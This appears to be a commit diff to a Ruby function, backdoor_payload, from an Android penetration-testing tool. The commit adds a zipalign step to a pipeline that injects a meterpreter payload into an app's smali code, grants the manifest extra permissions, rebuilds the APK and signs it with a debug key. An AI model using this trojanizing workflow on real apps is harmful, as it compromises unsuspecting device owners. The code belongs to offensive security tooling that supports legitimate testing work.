@@ -131,6 +131,11 @@ def backdoor_payload(apkfile, raw_payload)
131
131
raise RuntimeError , "jarsigner not found. If it's not in your PATH, please add it."
132
132
end
133
133
134
+ zipalign = run_cmd ( "zipalign" )
135
+ unless zipalign != nil
136
+ raise RuntimeError , "zipalign not found. If it's not in your PATH, please add it."
137
+ end
138
+
134
139
apktool = run_cmd ( "apktool -version" )
135
140
unless apktool != nil
136
141
raise RuntimeError , "apktool not found. If it's not in your PATH, please add it."
@@ -199,15 +204,18 @@ def backdoor_payload(apkfile, raw_payload)
199
204
print_status "Loading #{ smalifile } and injecting payload..\n "
200
205
File . open ( smalifile , "wb" ) { |file | file . puts hookedsmali }
201
206
injected_apk = "#{ tempdir } /output.apk"
207
+ aligned_apk = "#{ tempdir } /aligned.apk"
202
208
print_status "Poisoning the manifest with meterpreter permissions..\n "
203
209
fix_manifest ( tempdir )
204
210
205
211
print_status "Rebuilding #{ apkfile } with meterpreter injection as #{ injected_apk } \n "
206
212
run_cmd ( "apktool b -o #{ injected_apk } #{ tempdir } /original" )
207
213
print_status "Signing #{ injected_apk } \n "
208
214
run_cmd ( "jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{ injected_apk } androiddebugkey" )
215
+ print_status "Aligning #{ injected_apk } \n "
216
+ run_cmd ( "zipalign 4 #{ injected_apk } #{ aligned_apk } " )
209
217
210
- outputapk = File . read ( injected_apk )
218
+ outputapk = File . read ( aligned_apk )
211
219
212
220
FileUtils . remove_entry tempdir
213
221
outputapk
0 commit comments